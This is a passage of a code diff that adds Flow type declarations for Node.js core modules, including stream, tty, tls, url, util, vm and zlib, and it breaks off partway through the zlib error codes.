+    chunk: Buffer | string,
+    encoding: string,
+    callback: (error?: Error) => void
+  ) => void,
+  writev?: (
+    chunks: Array<{
+      chunk: Buffer | string,
+      encoding: string,
+      ...
+    }>,
+    callback: (error?: Error) => void
+  ) => void,
+  destroy?: (error: ?Error, callback: (error?: Error) => void) => void,
+  final?: (callback: (error?: Error) => void) => void,
+  autoDestroy?: boolean,
+  ...
+};
+declare class stream$Writable extends stream$Stream {
+  constructor(options?: writableStreamOptions): void;
+  cork(): void;
+  destroy(error?: Error): this;
+  end(callback?: () => void): this;
+  end(chunk?: string | Buffer | Uint8Array, callback?: () => void): this;
+  end(
+    chunk?: string | Buffer | Uint8Array,
+    encoding?: string,
+    callback?: () => void
+  ): this;
+  setDefaultEncoding(encoding: string): this;
+  uncork(): void;
+  writable: boolean;
+  writableHighWaterMark: number;
+  writableLength: number;
+  write(
+    chunk: string | Buffer | Uint8Array,
+    callback?: (error?: Error) => void
+  ): boolean;
+  write(
+    chunk: string | Buffer | Uint8Array,
+    encoding?: string,
+    callback?: (error?: Error) => void
+  ): boolean;
+  _write(
+    chunk: Buffer | string,
+    encoding: string,
+    callback: (error?: Error) => void
+  ): void;
+  _writev(
+    chunks: Array<{
+      chunk: Buffer | string,
+      encoding: string,
+      ...
+    }>,
+    callback: (error?: Error) => void
+  ): void;
+  _destroy(error: ?Error, callback: (error?: Error) => void): void;
+  _final(callback: (error?: Error) => void): void;
+}
+
+//According to the NodeJS docs:
+//"Since JavaScript doesn't have multiple prototypal inheritance, this class
+//prototypally inherits from Readable, and then parasitically from Writable."
+//Source: <https://nodejs.org/api/stream.html#stream_class_stream_duplex_1
+type duplexStreamOptions = writableStreamOptions &
+  readableStreamOptions & {
+    allowHalfOpen?: boolean,
+    readableObjectMode?: boolean,
+    writableObjectMode?: boolean,
+    readableHighWaterMark?: number,
+    writableHighWaterMark?: number,
+    ...
+  };
+declare class stream$Duplex extends stream$Readable mixins stream$Writable {
+  constructor(options?: duplexStreamOptions): void;
+}
+type transformStreamOptions = duplexStreamOptions & {
+  flush?: (callback: (error: ?Error, data: ?(Buffer | string)) => void) => void,
+  transform?: (
+    chunk: Buffer | string,
+    encoding: string,
+    callback: (error: ?Error, data: ?(Buffer | string)) => void
+  ) => void,
+  ...
+};
+declare class stream$Transform extends stream$Duplex {
+  constructor(options?: transformStreamOptions): void;
+  _flush(callback: (error: ?Error, data: ?(Buffer | string)) => void): void;
+  _transform(
+    chunk: Buffer | string,
+    encoding: string,
+    callback: (error: ?Error, data: ?(Buffer | string)) => void
+  ): void;
+}
+declare class stream$PassThrough extends stream$Transform {}
+
+declare module 'stream' {
+  declare var Stream: typeof stream$Stream;
+  declare var Readable: typeof stream$Readable;
+  declare var Writable: typeof stream$Writable;
+  declare var Duplex: typeof stream$Duplex;
+  declare var Transform: typeof stream$Transform;
+  declare var PassThrough: typeof stream$PassThrough;
+  declare function finished(
+    stream: stream$Stream,
+    callback: (error?: Error) => void
+  ): () => void;
+  declare function finished(
+    stream: stream$Stream,
+    options: ?{
+      error?: boolean,
+      readable?: boolean,
+      writable?: boolean,
+      ...
+    },
+    callback: (error?: Error) => void
+  ): () => void;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    s2: stream$Duplex,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    s2: stream$Duplex,
+    s3: stream$Duplex,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    s2: stream$Duplex,
+    s3: stream$Duplex,
+    s4: stream$Duplex,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    s2: stream$Duplex,
+    s3: stream$Duplex,
+    s4: stream$Duplex,
+    s5: stream$Duplex,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline<T: stream$Writable>(
+    s1: stream$Readable,
+    s2: stream$Duplex,
+    s3: stream$Duplex,
+    s4: stream$Duplex,
+    s5: stream$Duplex,
+    s6: stream$Duplex,
+    last: T,
+    cb: (error?: Error) => void
+  ): T;
+  declare function pipeline(
+    streams: Array<stream$Stream>,
+    cb: (error?: Error) => void
+  ): stream$Stream;
+
+  declare interface StreamPipelineOptions {
+    +signal?: AbortSignal;
+    +end?: boolean;
+  }
+
+  declare type StreamPromise = {
+    pipeline(
+      s1: stream$Readable,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      s1: stream$Readable,
+      s2: stream$Duplex,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      s1: stream$Readable,
+      s2: stream$Duplex,
+      s3: stream$Duplex,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      s1: stream$Readable,
+      s2: stream$Duplex,
+      s3: stream$Duplex,
+      s4: stream$Duplex,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      s1: stream$Readable,
+      s2: stream$Duplex,
+      s3: stream$Duplex,
+      s4: stream$Duplex,
+      s5: stream$Duplex,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      s1: stream$Readable,
+      s2: stream$Duplex,
+      s3: stream$Duplex,
+      s4: stream$Duplex,
+      s5: stream$Duplex,
+      s6: stream$Duplex,
+      last: stream$Writable,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    pipeline(
+      streams: $ReadOnlyArray<stream$Stream>,
+      options?: StreamPipelineOptions
+    ): Promise<void>,
+    ...
+  };
+
+  declare var promises: StreamPromise;
+}
+
+declare class tty$ReadStream extends net$Socket {
+  constructor(fd: number, options?: Object): void;
+  isRaw: boolean;
+  setRawMode(mode: boolean): void;
+  isTTY: true;
+}
+declare class tty$WriteStream extends net$Socket {
+  constructor(fd: number): void;
+  /**
+   * Clears the current line of this `WriteStream` in a direction identified by `dir`.
+   *
+   * TODO: takes a callback and returns `boolean` in v12+
+   */
+  clearLine(dir: -1 | 0 | 1): void;
+  columns: number;
+  /**
+   * Moves this WriteStream's cursor to the specified position
+   *
+   * TODO: takes a callback and returns `boolean` in v12+
+   */
+  cursorTo(x: number, y?: number): void;
+  isTTY: true;
+  /**
+   * Moves this WriteStream's cursor relative to its current position
+   *
+   * TODO: takes a callback and returns `boolean` in v12+
+   */
+  moveCursor(dx: number, dy: number): void;
+  rows: number;
+
+  /**
+   * Clears this WriteStream from the current cursor down.
+   */
+  clearScreenDown(callback?: () => void): boolean;
+
+  /**
+   * Use this to determine what colors the terminal supports. Due to the nature of colors in terminals it is possible to either have false positives or false negatives. It depends on process information and the environment variables that may lie about what terminal is used. It is possible to pass in an env object to simulate the usage of a specific terminal. This can be useful to check how specific environment settings behave.
+   * To enforce a specific color support, use one of the below environment settings.
+   *
+   * 2 colors: FORCE_COLOR = 0 (Disables colors)
+   * 16 colors: FORCE_COLOR = 1
+   * 256 colors: FORCE_COLOR = 2
+   * 16,777,216 colors: FORCE_COLOR = 3
+   * Disabling color support is also possible by using the NO_COLOR and NODE_DISABLE_COLORS environment variables.
+   */
+  getColorDepth(env?: typeof process.env):
+    | 1 // 2
+    | 4 // 16
+    | 8 // 256
+    | 24; // 16,777,216
+
+  /**
+   * Returns the size of the TTY corresponding to this WriteStream. The array is of the type [numColumns, numRows] where numColumns and numRows represent the number of columns and rows in the corresponding TTY.
+   */
+  getWindowSize(): [
+    number, // columns
+    number, // rows
+  ];
+
+  /**
+   * - count <integer> The number of colors that are requested (minimum 2). Default: 16.
+   * - env <Object> An object containing the environment variables to check. This enables simulating the usage of a specific terminal. Default: process.env.
+   * - Returns: <boolean>
+   *
+   * Returns true if the writeStream supports at least as many colors as provided in count. Minimum support is 2 (black and white).
+   *
+   * This has the same false positives and negatives as described in tty$WriteStream#getColorDepth().
+   */
+  hasColors(count?: number, env?: typeof process.env): boolean;
+}
+
+declare module 'tty' {
+  declare function isatty(fd: number): boolean;
+  declare function setRawMode(mode: boolean): void;
+  declare var ReadStream: typeof tty$ReadStream;
+  declare var WriteStream: typeof tty$WriteStream;
+}
+
+declare class string_decoder$StringDecoder {
+  constructor(encoding?: 'utf8' | 'ucs2' | 'utf16le' | 'base64'): void;
+  end(): string;
+  write(buffer: Buffer): string;
+}
+
+declare module 'string_decoder' {
+  declare var StringDecoder: typeof string_decoder$StringDecoder;
+}
+
+type tls$connectOptions = {
+  port?: number,
+  host?: string,
+  socket?: net$Socket,
+  rejectUnauthorized?: boolean,
+  path?: string,
+  lookup?: (
+    domain: string,
+    options?: ?number | ?Object,
+    callback?: (err: ?Error, address: string, family: number) => void
+  ) => mixed,
+  requestOCSP?: boolean,
+  ...
+};
+
+type tls$Certificate$Subject = {
+  C?: string,
+  ST?: string,
+  L?: string,
+  O?: string,
+  OU?: string,
+  CN?: string,
+  ...
+};
+
+type tls$Certificate = {
+  raw: Buffer,
+  subject: tls$Certificate$Subject,
+  issuer: tls$Certificate$Subject,
+  valid_from: string,
+  valid_to: string,
+  serialNumber: string,
+  fingerprint: string,
+  fingerprint256: string,
+  ext_key_usage?: Array<string>,
+  subjectaltname?: string,
+  infoAccess?: {[string]: Array<string>, ...},
+  issuerCertificate?: tls$Certificate,
+  ...
+};
+
+declare class tls$TLSSocket extends net$Socket {
+  constructor(socket: net$Socket, options?: Object): void;
+  authorized: boolean;
+  authorizationError: string | null;
+  encrypted: true;
+  getCipher(): {
+    name: string,
+    version: string,
+    ...
+  } | null;
+  getEphemeralKeyInfo():
+    | {
+        type: 'DH',
+        size: number,
+        ...
+      }
+    | {
+        type: 'EDHC',
+        name: string,
+        size: number,
+        ...
+      }
+    | null;
+  getPeerCertificate(detailed?: boolean): tls$Certificate | null;
+  getSession(): ?Buffer;
+  getTLSTicket(): Buffer | void;
+  renegotiate(options: Object, callback: Function): boolean | void;
+  setMaxSendFragment(size: number): boolean;
+}
+
+declare class tls$Server extends net$Server {
+  listen(
+    port?: number,
+    hostname?: string,
+    backlog?: number,
+    callback?: Function
+  ): tls$Server;
+  listen(path: string, callback?: Function): tls$Server;
+  listen(handle: Object, callback?: Function): tls$Server;
+  close(callback?: Function): tls$Server;
+  addContext(hostname: string, context: Object): void;
+  getTicketKeys(): Buffer;
+  setTicketKeys(keys: Buffer): void;
+}
+
+declare module 'tls' {
+  declare var CLIENT_RENEG_LIMIT: number;
+  declare var CLIENT_RENEG_WINDOW: number;
+  declare var SLAB_BUFFER_SIZE: number;
+  declare var DEFAULT_CIPHERS: string;
+  declare var DEFAULT_ECDH_CURVE: string;
+  declare function getCiphers(): Array<string>;
+  declare function convertNPNProtocols(
+    NPNProtocols: Array<string>,
+    out: Object
+  ): void;
+  declare function checkServerIdentity(
+    servername: string,
+    cert: string
+  ): Error | void;
+  declare function parseCertString(s: string): Object;
+  declare function createSecureContext(details: Object): Object;
+  declare var SecureContext: Object;
+  declare var TLSSocket: typeof tls$TLSSocket;
+  declare var Server: typeof tls$Server;
+  declare function createServer(
+    options: Object,
+    secureConnectionListener?: Function
+  ): tls$Server;
+  declare function connect(
+    options: tls$connectOptions,
+    callback?: Function
+  ): tls$TLSSocket;
+  declare function connect(
+    port: number,
+    host?: string,
+    options?: tls$connectOptions,
+    callback?: Function
+  ): tls$TLSSocket;
+  declare function createSecurePair(
+    context?: Object,
+    isServer?: boolean,
+    requestCert?: boolean,
+    rejectUnauthorized?: boolean,
+    options?: Object
+  ): Object;
+}
+
+type url$urlObject = {
+  +href?: string,
+  +protocol?: string | null,
+  +slashes?: boolean | null,
+  +auth?: string | null,
+  +hostname?: string | null,
+  +port?: string | number | null,
+  +host?: string | null,
+  +pathname?: string | null,
+  +search?: string | null,
+  +query?: Object | null,
+  +hash?: string | null,
+  ...
+};
+
+declare module 'url' {
+  declare type Url = {|
+    protocol: string | null,
+    slashes: boolean | null,
+    auth: string | null,
+    host: string | null,
+    port: string | null,
+    hostname: string | null,
+    hash: string | null,
+    search: string | null,
+    query: string | null | {[string]: string, ...},
+    pathname: string | null,
+    path: string | null,
+    href: string,
+  |};
+
+  declare type UrlWithStringQuery = {|
+    ...Url,
+    query: string | null,
+  |};
+
+  declare type UrlWithParsedQuery = {|
+    ...Url,
+    query: {[string]: string, ...},
+  |};
+
+  declare function parse(
+    urlStr: string,
+    parseQueryString: true,
+    slashesDenoteHost?: boolean
+  ): UrlWithParsedQuery;
+  declare function parse(
+    urlStr: string,
+    parseQueryString?: false | void,
+    slashesDenoteHost?: boolean
+  ): UrlWithStringQuery;
+  declare function parse(
+    urlStr: string,
+    parseQueryString?: boolean,
+    slashesDenoteHost?: boolean
+  ): Url;
+  declare function format(urlObj: url$urlObject): string;
+  declare function resolve(from: string, to: string): string;
+  declare function domainToASCII(domain: string): string;
+  declare function domainToUnicode(domain: string): string;
+  declare function pathToFileURL(path: string): url$urlObject;
+  declare function fileURLToPath(path: url$urlObject | string): string;
+  declare class URLSearchParams {
+    @@iterator(): Iterator<[string, string]>;
+
+    size: number;
+
+    constructor(
+      init?:
+        | string
+        | URLSearchParams
+        | Array<[string, string]>
+        | {[string]: string, ...}
+    ): void;
+    append(name: string, value: string): void;
+    delete(name: string, value?: void): void;
+    entries(): Iterator<[string, string]>;
+    forEach<This>(
+      callback: (
+        this: This,
+        value: string,
+        name: string,
+        searchParams: URLSearchParams
+      ) => mixed,
+      thisArg?: This
+    ): void;
+    get(name: string): string | null;
+    getAll(name: string): string[];
+    has(name: string, value?: string): boolean;
+    keys(): Iterator<string>;
+    set(name: string, value: string): void;
+    sort(): void;
+    values(): Iterator<string>;
+    toString(): string;
+  }
+  declare class URL {
+    static canParse(url: string, base?: string): boolean;
+    static createObjectURL(blob: Blob): string;
+    static createObjectURL(mediaSource: MediaSource): string;
+    static revokeObjectURL(url: string): void;
+    constructor(input: string, base?: string | URL): void;
+    hash: string;
+    host: string;
+    hostname: string;
+    href: string;
+    +origin: string;
+    password: string;
+    pathname: string;
+    port: string;
+    protocol: string;
+    search: string;
+    +searchParams: URLSearchParams;
+    username: string;
+    toString(): string;
+    toJSON(): string;
+  }
+}
+
+type util$InspectOptions = {
+  showHidden?: boolean,
+  depth?: ?number,
+  colors?: boolean,
+  customInspect?: boolean,
+  ...
+};
+
+declare type util$ParseArgsOption =
+  | {|
+      type: 'boolean',
+      multiple?: false,
+      short?: string,
+      default?: boolean,
+    |}
+  | {|
+      type: 'boolean',
+      multiple: true,
+      short?: string,
+      default?: Array<boolean>,
+    |}
+  | {|
+      type: 'string',
+      multiple?: false,
+      short?: string,
+      default?: string,
+    |}
+  | {|
+      type: 'string',
+      multiple: true,
+      short?: string,
+      default?: Array<string>,
+    |};
+
+type util$ParseArgsOptionToValue<TOption> = TOption['type'] extends 'boolean'
+  ? TOption['multiple'] extends true
+    ? Array<boolean>
+    : boolean
+  : TOption['type'] extends 'string'
+    ? TOption['multiple'] extends true
+      ? Array<string>
+      : string
+    : empty;
+
+type util$ParseArgsOptionsToValues<TOptions> = {
+  [key in keyof TOptions]: util$ParseArgsOptionToValue<{|
+    multiple: false,
+    ...TOptions[key],
+  |}>,
+};
+
+type util$ParseArgsToken =
+  | {|
+      kind: 'option',
+      index: number,
+      name: string,
+      rawName: string,
+      value?: string,
+      inlineValue?: boolean,
+    |}
+  | {|
+      kind: 'positional',
+      index: number,
+      value: string,
+    |}
+  | {|
+      kind: 'option-terminator',
+      index: number,
+    |};
+
+declare module 'util' {
+  declare function debuglog(section: string): (data: any, ...args: any) => void;
+  declare function format(format: string, ...placeholders: any): string;
+  declare function log(string: string): void;
+  declare function inspect(object: any, options?: util$InspectOptions): string;
+  declare function isArray(object: any): boolean;
+  declare function isRegExp(object: any): boolean;
+  declare function isDate(object: any): boolean;
+  declare function isError(object: any): boolean;
+  declare function inherits(
+    constructor: Function,
+    superConstructor: Function
+  ): void;
+  declare function deprecate(f: Function, string: string): Function;
+  declare function promisify(f: Function): Function;
+  declare function callbackify(f: Function): Function;
+  declare function stripVTControlCharacters(str: string): string;
+
+  declare function parseArgs<
+    TOptions: {[string]: util$ParseArgsOption} = {||},
+  >(config: {|
+    args?: Array<string>,
+    options?: TOptions,
+    strict?: boolean,
+    allowPositionals?: boolean,
+    tokens?: false,
+  |}): {|
+    values: util$ParseArgsOptionsToValues<TOptions>,
+    positionals: Array<string>,
+  |};
+
+  declare function parseArgs<
+    TOptions: {[string]: util$ParseArgsOption} = {||},
+  >(config: {|
+    args?: Array<string>,
+    options?: TOptions,
+    strict?: boolean,
+    allowPositionals?: boolean,
+    tokens: true,
+  |}): {|
+    values: util$ParseArgsOptionsToValues<TOptions>,
+    positionals: Array<string>,
+    tokens: Array<util$ParseArgsToken>,
+  |};
+
+  declare class TextDecoder {
+    constructor(
+      encoding?: string,
+      options?: {
+        fatal?: boolean,
+        ignoreBOM?: boolean,
+        ...
+      }
+    ): void;
+    decode(
+      input?: ArrayBuffer | DataView | $TypedArray,
+      options?: {stream?: boolean, ...}
+    ): string;
+    encoding: string;
+    fatal: boolean;
+    ignoreBOM: boolean;
+  }
+
+  declare class TextEncoder {
+    constructor(): void;
+    encode(input: string): Uint8Array;
+    encodeInto(
+      input: string,
+      buffer: Uint8Array
+    ): {written: number, read: number};
+    encoding: 'utf-8';
+  }
+
+  declare var types: {
+    isAnyArrayBuffer: (value: mixed) => boolean,
+    isArgumentsObject: (value: mixed) => boolean,
+    isArrayBuffer: (value: mixed) => boolean,
+    isAsyncFunction: (value: mixed) => boolean,
+    isBigInt64Array: (value: mixed) => boolean,
+    isBigUint64Array: (value: mixed) => boolean,
+    isBooleanObject: (value: mixed) => boolean,
+    isBoxedPrimitive: (value: mixed) => boolean,
+    isDataView: (value: mixed) => boolean,
+    isDate: (value: mixed) => boolean,
+    isExternal: (value: mixed) => boolean,
+    isFloat32Array: (value: mixed) => boolean,
+    isFloat64Array: (value: mixed) => boolean,
+    isGeneratorFunction: (value: mixed) => boolean,
+    isGeneratorObject: (value: mixed) => boolean,
+    isInt8Array: (value: mixed) => boolean,
+    isInt16Array: (value: mixed) => boolean,
+    isInt32Array: (value: mixed) => boolean,
+    isMap: (value: mixed) => boolean,
+    isMapIterator: (value: mixed) => boolean,
+    isModuleNamespaceObject: (value: mixed) => boolean,
+    isNativeError: (value: mixed) => boolean,
+    isNumberObject: (value: mixed) => boolean,
+    isPromise: (value: mixed) => boolean,
+    isProxy: (value: mixed) => boolean,
+    isRegExp: (value: mixed) => boolean,
+    isSet: (value: mixed) => boolean,
+    isSetIterator: (value: mixed) => boolean,
+    isSharedArrayBuffer: (value: mixed) => boolean,
+    isStringObject: (value: mixed) => boolean,
+    isSymbolObject: (value: mixed) => boolean,
+    isTypedArray: (value: mixed) => boolean,
+    isUint8Array: (value: mixed) => boolean,
+    isUint8ClampedArray: (value: mixed) => boolean,
+    isUint16Array: (value: mixed) => boolean,
+    isUint32Array: (value: mixed) => boolean,
+    isWeakMap: (value: mixed) => boolean,
+    isWeakSet: (value: mixed) => boolean,
+    isWebAssemblyCompiledModule: (value: mixed) => boolean,
+    ...
+  };
+}
+
+type vm$ScriptOptions = {
+  cachedData?: Buffer,
+  columnOffset?: number,
+  displayErrors?: boolean,
+  filename?: string,
+  lineOffset?: number,
+  produceCachedData?: boolean,
+  timeout?: number,
+  ...
+};
+
+type vm$CreateContextOptions = {
+  name?: string,
+  origin?: string,
+  codeGeneration?: {
+    strings?: boolean,
+    wasm?: boolean,
+    ...
+  },
+  ...
+};
+
+type vm$CompileFunctionOptions = {
+  filename?: string,
+  lineOffset?: number,
+  columnOffset?: number,
+  cachedData?: Buffer,
+  produceCachedData?: boolean,
+  parsingContext?: {[key: string]: any, ...},
+  contextExtensions?: Array<{[key: string]: any, ...}>,
+  ...
+};
+
+declare class vm$Script {
+  constructor(code: string, options?: vm$ScriptOptions | string): void;
+  cachedData: ?Buffer;
+  cachedDataRejected: ?boolean;
+  cachedDataProduced: ?boolean;
+  runInContext(
+    contextifiedSandbox: vm$Context,
+    options?: vm$ScriptOptions
+  ): any;
+  runInNewContext(
+    sandbox?: {[key: string]: any, ...},
+    options?: vm$ScriptOptions
+  ): any;
+  runInThisContext(options?: vm$ScriptOptions): any;
+  createCachedData(): Buffer;
+}
+
+declare class vm$Context {}
+
+declare module 'vm' {
+  declare var Script: typeof vm$Script;
+  declare function createContext(
+    sandbox?: interface {[key: string]: any},
+    options?: vm$CreateContextOptions
+  ): vm$Context;
+  declare function isContext(sandbox: {[key: string]: any, ...}): boolean;
+  declare function runInContext(
+    code: string,
+    contextifiedSandbox: vm$Context,
+    options?: vm$ScriptOptions | string
+  ): any;
+  declare function runInDebugContext(code: string): any;
+  declare function runInNewContext(
+    code: string,
+    sandbox?: {[key: string]: any, ...},
+    options?: vm$ScriptOptions | string
+  ): any;
+  declare function runInThisContext(
+    code: string,
+    options?: vm$ScriptOptions | string
+  ): any;
+  declare function compileFunction(
+    code: string,
+    params: string[],
+    options: vm$CompileFunctionOptions
+  ): Function;
+}
+
+type zlib$options = {
+  flush?: number,
+  chunkSize?: number,
+  windowBits?: number,
+  level?: number,
+  memLevel?: number,
+  strategy?: number,
+  dictionary?: Buffer,
+  ...
+};
+
+type zlib$brotliOptions = {
+  flush?: number,
+  finishFlush?: number,
+  chunkSize?: number,
+  params?: {
+    [number]: boolean | number,
+    ...
+  },
+  maxOutputLength?: number,
+  ...
+};
+
+type zlib$syncFn = (
+  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,
+  options?: zlib$options
+) => Buffer;
+
+type zlib$asyncFn = (
+  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,
+  options?: zlib$options,
+  callback?: (error: ?Error, result: Buffer) => void
+) => void;
+
+type zlib$brotliSyncFn = (
+  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,
+  options?: zlib$brotliOptions
+) => Buffer;
+
+type zlib$brotliAsyncFn = (
+  buffer: Buffer | $TypedArray | DataView | ArrayBuffer | string,
+  options?: zlib$brotliOptions,
+  callback?: (error: ?Error, result: Buffer) => void
+) => void;
+
+// Accessing the constants directly from the module is currently still
+// possible but should be considered deprecated.
+// ref: https://github.com/nodejs/node/blob/master/doc/api/zlib.md
+declare module 'zlib' {
+  declare var Z_NO_FLUSH: number;
+  declare var Z_PARTIAL_FLUSH: number;
+  declare var Z_SYNC_FLUSH: number;
+  declare var Z_FULL_FLUSH: number;
+  declare var Z_FINISH: number;
+  declare var Z_BLOCK: number;
+  declare var Z_TREES: number;
+  declare var Z_OK: number;
+  declare var Z_STREAM_END: number;
+  declare var Z_NEED_DICT: number;
+  declare var Z_ERRNO: number;
+  declare var Z_STREAM_ERROR: number;
+  declare var Z_DATA_ERROR: number;
+  declare var Z_MEM_ERROR: number;
+  declare var Z_BUF_ERROR: number;
+  declare var Z_VERSION_ERROR: number;
+  declare var Z_NO_COMPRESSION: number;
+  declare var Z_BEST_SPEED: number;
+  declare var Z_BEST_COMPRESSION: number;
+  declare var Z_DEFAULT_COMPRESSION: number;
+  declare var Z_FILTERED: number;
+  declare var Z_HUFFMAN_ONLY: number;
+  declare var Z_RLE: number;
+  declare var Z_FIXED: number;
+  declare var Z_DEFAULT_STRATEGY: number;
+  declare var Z_BINARY: number;
+  declare var Z_TEXT: number;
+  declare var Z_ASCII: number;
+  declare var Z_UNKNOWN: number;
+  declare var Z_DEFLATED: number;
+  declare var Z_NULL: number;
+  declare var Z_DEFAULT_CHUNK: number;
+  declare var Z_DEFAULT_LEVEL: number;
+  declare var Z_DEFAULT_MEMLEVEL: number;
+  declare var Z_DEFAULT_WINDOWBITS: number;
+  declare var Z_MAX_CHUNK: number;
+  declare var Z_MAX_LEVEL: number;
+  declare var Z_MAX_MEMLEVEL: number;
+  declare var Z_MAX_WINDOWBITS: number;
+  declare var Z_MIN_CHUNK: number;
+  declare var Z_MIN_LEVEL: number;
+  declare var Z_MIN_MEMLEVEL: number;
+  declare var Z_MIN_WINDOWBITS: number;
+  declare var constants: {
+    Z_NO_FLUSH: number,
+    Z_PARTIAL_FLUSH: number,
+    Z_SYNC_FLUSH: number,
+    Z_FULL_FLUSH: number,
+    Z_FINISH: number,
+    Z_BLOCK: number,
+    Z_TREES: number,
+    Z_OK: number,
+    Z_STREAM_END: number,
+    Z_NEED_DICT: number,
+    Z_ERRNO: number,
+    Z_STREAM_ERROR: number,
+    Z_DATA_ERROR: number,
+    Z_MEM_ERROR: number,
+    Z_BUF_ERROR: number,
+    Z_VERSION_ERROR: number,
+    Z_NO_COMPRESSION: number,
+    Z_BEST_SPEED: number,
+    Z_BEST_COMPRESSION: number,
+    Z_DEFAULT_COMPRESSION: number,
+    Z_FILTERED: number,
+    Z_HUFFMAN_ONLY: number,
+    Z_RLE: number,
+    Z_FIXED: number,
+    Z_DEFAULT_STRATEGY: number,
+    Z_BINARY: number,
+    Z_TEXT: number,
+    Z_ASCII: number,
+    Z_UNKNOWN: number,
+    Z_DEFLATED: number,
+    Z_NULL: number,
+    Z_DEFAULT_CHUNK: number,
+    Z_DEFAULT_LEVEL: number,
+    Z_DEFAULT_MEMLEVEL: number,
+    Z_DEFAULT_WINDOWBITS: number,
+    Z_MAX_CHUNK: number,
+    Z_MAX_LEVEL: number,
+    Z_MAX_MEMLEVEL: number,
+    Z_MAX_WINDOWBITS: number,
+    Z_MIN_CHUNK: number,
+    Z_MIN_LEVEL: number,
+    Z_MIN_MEMLEVEL: number,
+    Z_MIN_WINDOWBITS: number,
+
+    BROTLI_DECODE: number,
+    BROTLI_ENCODE: number,
+    BROTLI_OPERATION_PROCESS: number,
+    BROTLI_OPERATION_FLUSH: number,
+    BROTLI_OPERATION_FINISH: number,
+    BROTLI_OPERATION_EMIT_METADATA: number,
+    BROTLI_PARAM_MODE: number,
+    BROTLI_MODE_GENERIC: number,
+    BROTLI_MODE_TEXT: number,
+    BROTLI_MODE_FONT: number,
+    BROTLI_DEFAULT_MODE: number,
+    BROTLI_PARAM_QUALITY: number,
+    BROTLI_MIN_QUALITY: number,
+    BROTLI_MAX_QUALITY: number,
+    BROTLI_DEFAULT_QUALITY: number,
+    BROTLI_PARAM_LGWIN: number,
+    BROTLI_MIN_WINDOW_BITS: number,
+    BROTLI_MAX_WINDOW_BITS: number,
+    BROTLI_LARGE_MAX_WINDOW_BITS: number,
+    BROTLI_DEFAULT_WINDOW: number,
+    BROTLI_PARAM_LGBLOCK: number,
+    BROTLI_MIN_INPUT_BLOCK_BITS: number,
+    BROTLI_MAX_INPUT_BLOCK_BITS: number,
+    BROTLI_PARAM_DISABLE_LITERAL_CONTEXT_MODELING: number,
+    BROTLI_PARAM_SIZE_HINT: number,
+    BROTLI_PARAM_LARGE_WINDOW: number,
+    BROTLI_PARAM_NPOSTFIX: number,
+    BROTLI_PARAM_NDIRECT: number,
+    BROTLI_DECODER_RESULT_ERROR: number,
+    BROTLI_DECODER_RESULT_SUCCESS: number,
+    BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT: number,
+    BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT: number,
+    BROTLI_DECODER_PARAM_DISABLE_RING_BUFFER_REALLOCATION: number,
+    BROTLI_DECODER_PARAM_LARGE_WINDOW: number,
+    BROTLI_DECODER_NO_ERROR: number,
+    BROTLI_DECODER_SUCCESS: number,
+    BROTLI_DECODER_NEEDS_MORE_INPUT: number,
+    BROTLI_DECODER_NEEDS_MORE_OUTPUT: number,
+    BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_NIBBLE: number,
+    BROTLI_DECODER_ERROR_FORMAT_RESERVED: number,
+    BROTLI_DECODER_ERROR_FORMAT_EXUBERANT_META_NIBBLE: number,
+    BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_ALPHABET: number,
+    BROTLI_DECODER_ERROR_FORMAT_SIMPLE_HUFFMAN_SAME: number,
+    BROTLI_DECODER_ERROR_FORMAT_CL_SPACE: number,
+    BROTLI_DECODER_ERROR_FORMAT_HUFFMAN_SPACE: number,
+    BROTLI_DECODER_ERROR_FORMAT_CONTEXT_MAP_REPEAT: number,
+    BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_1: number,
+    BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_2: number,
+    BROTLI_DECODER_ERROR_FORMAT_TRANSFORM: number,
+    BROTLI_DECODER_ERROR_FORMAT_DICTIONARY: number,
+    BROTLI_DECODER_ERROR_FORMAT_WINDOW_BITS: number,
+    BROTLI_DECODER_ERROR_FORMAT_PADDING_1: number,
+    BROTLI_DECODER_ERROR_FORMAT_PADDING_2: number,
+    BROTLI_DECODER_ERROR_FORMAT_DISTANCE: number,
+    BROTLI_DECODER_ERROR_DICTIONARY_NOT_SET: number,
+    BROTLI_DECODER_ERROR_INVALID_ARGUMENTS: number,
+    BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MODES: number,
+    BROTLI_DECODER_ERROR_ALLOC_TREE_GROUPS: number,
+    BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MAP: number,
+    BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_1: number,
+    BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_2: number,
+    BROTLI_DECODER_ERROR_ALLOC_BLOCK_TYPE_TREES: number,
+    BROTLI_DECODER_ERROR_UNREACHABL: number,
+    ...
+  };
+  declare var codes: {
+    Z_OK: number,
+    Z_STREAM_END: number,
+    Z_NEED_DICT: number,
+    Z_ERRNO: number,
+    Z_STREAM_ERROR: number,
+    Z_DATA_ERROR: number,
